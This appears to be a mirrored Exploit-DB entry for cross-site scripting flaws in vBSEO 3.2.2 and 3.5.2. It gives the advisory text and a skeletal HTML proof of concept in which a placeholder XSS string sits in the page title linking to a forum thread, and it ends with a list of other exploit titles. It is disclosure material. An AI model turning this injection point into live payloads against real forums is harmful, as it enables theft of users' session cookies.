vBSEO 3.2.2/3.5.2 – Multiple Cross-Site Scripting Vulnerabilities

Exploit Database
113 阅读

作者： MaXe

日期： 2011-01-30
类别：
- webapps
平台：
- php
来源：https://www.exploit-db.com/exploits/35292/

source: https://www.securityfocus.com/bid/46068/info

vBSEO is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

vBSEO 3.5.2 and 3.2.2 is vulnerable; other versions may also be affected.

<html>

<head>

<title> [XSS String] </title>

</head>

<body>

<a href="http://www.example.com/01-some-forum-thread.html">SEKSCY INJECT TIEM!</a>

</body>

</html>

last Exploits
vBSEO 3.2.2/3.5.2 – Multiple Cross-Site Scripting Vulnerabilities的更多信息

Geutebrueck re_porter 16 – Cross-Site Scripting：
GuestBookPlus – HTML Injection / Bypass Comments Limit：
pointter PHP content management system 1.2 – Multiple Vulnerabilities：
Joomla! Component com_clan_members – ‘id’ SQL Injection：
PhpSpreadsheet < 1.5.0 - XML External Entity (XXE)：
WordPress Plugin Supsystic Data Tables Generator 1.9.96 – Multiple Vulnerabilities：
Astium VoIP PBX 2.1 build 25399 – Multiple Vulnerabilities/Remote Command Execution：
Axway SecureTransport 5 – Unauthenticated XML Injection：